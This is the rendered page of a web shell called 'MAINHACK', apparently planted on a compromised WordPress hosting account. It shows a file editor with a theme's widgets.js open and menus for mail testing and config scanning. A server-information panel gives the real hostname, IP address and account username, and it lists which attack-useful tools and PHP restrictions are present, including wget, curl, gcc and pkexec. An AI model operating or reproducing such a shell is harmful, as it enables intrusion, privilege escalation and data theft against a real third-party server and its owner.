[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: widgets.js
( function($) { $( document ).ready( function() { $( '.widget-liquid-right' ).append( et_pb_options.widget_info ); var $create_box = $( '#et_pb_widget_area_create' ), $widget_name_input = $create_box.find( '#et_pb_new_widget_area_name' ), $et_pb_sidebars = $( 'div[id^=et_pb_widget_area_]' ); $create_box.find( '.et_pb_create_widget_area' ).click( function( event ) { var $this_el = $(this); event.preventDefault(); if ( $widget_name_input.val() === '' ) return; $.ajax( { type: "POST", url: et_pb_options.ajaxurl, data: { action : 'et_pb_add_widget_area', et_admin_load_nonce : et_pb_options.et_admin_load_nonce, et_widget_area_name : $widget_name_input.val() }, success: function( data ){ $this_el.closest( '#et_pb_widget_area_create' ).find( '.et_pb_widget_area_result' ).hide().html( data ).slideToggle(); } } ); } ); $et_pb_sidebars.each( function() { if ( $(this).is( '#et_pb_widget_area_create' ) || $(this).closest( '.inactive-sidebar' ).length ) return true; $(this).closest('.widgets-holder-wrap').find('.sidebar-name h2, .sidebar-name h3').before( '<a href="#" class="et_pb_widget_area_remove">' + et_pb_options.delete_string + '</a>' ); $( '.et_pb_widget_area_remove' ).click( function( event ) { var $this_el = $(this); event.preventDefault(); $.ajax( { type: "POST", url: et_pb_options.ajaxurl, data: { action : 'et_pb_remove_widget_area', et_admin_load_nonce : et_pb_options.et_admin_load_nonce, et_widget_area_name : $this_el.closest( '.widgets-holder-wrap' ).find( 'div[id^=et_pb_widget_area_]' ).attr( 'id' ) }, success: function( data ){ $( '#' + data ).closest( '.widgets-holder-wrap' ).remove(); } } ); return false; } ); } ); } ); } )(jQuery);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830